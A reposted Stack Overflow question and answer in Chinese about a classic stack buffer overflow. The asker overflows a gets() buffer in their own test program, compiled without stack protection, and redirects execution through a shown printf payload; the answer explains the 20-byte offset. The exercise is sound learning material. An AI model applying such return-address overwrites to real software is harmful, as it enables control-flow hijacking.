gpt4 book ai didi

c - 缓冲区溢出出现在预期之前

转载 作者:太空狗 更新时间:2023-10-29 16:44:32 25 4
gpt4 key购买 nike

我正在尝试控制堆栈溢出。首先,这是我在 x32 VM Linux 上编译的 C 代码示例 (gcc -fno-stack-protector -ggdb -o first first.c),

#include "stdio.h"

int CanNeverExecute()
{
printf("I can never execute\n");
return(0);
}

void GetInput()
{
char buffer[8];

gets(buffer);
puts(buffer);
}

int main()
{
GetInput();
return(0);
}

然后是调试器(英特尔风格):GetInput 函数的汇编代码转储:

0x08048455 <+0>:    push   ebp
0x08048456 <+1>: mov ebp,esp
0x08048458 <+3>: sub esp,0x28
0x0804845b <+6>: lea eax,[ebp-0x10]

在这里我们可以看到 sub esp, 0x28 为缓冲区变量保留了 40 个字节(对吧?)。CanNeverExecute 函数位于地址 0x0804843c。因此,为了运行 CanNeverExecute 函数,我需要将 40 个字节放入缓冲区变量,然后将 8 个字节用于存储的基指针,然后将 8 个字节用于我想要更改的返回指针。

因此,我需要一个由 48 个 ASCII 符号组成的字符串,最后加上 \x3c\x84\x04\x08(CanNeverExecute 函数的地址)。这是理论上的。但实际上我只需要返回指针地址前的 20 个字节:

~/hacktest $ printf "12345678901234567890\x3c\x84\x04\x08" | ./first
12345678901234567890..
I can never execute
Illegal instruction (core dumped)

为什么它只需要 20 个字节而不是 48 个字节?我的错误在哪里?

最佳答案

首先,您的程序集是 32 位的。保存的EBP和返回地址各4字节。

其次,buffer 变量并非从栈顶 (ESP) 开始——它从 ebp-0x10 开始。距返回地址 20 个字节。 0x10 是 16 个字节,然后是保存的 EBP 的另外 4 个字节。

关于c - 缓冲区溢出出现在预期之前,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/15372324/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com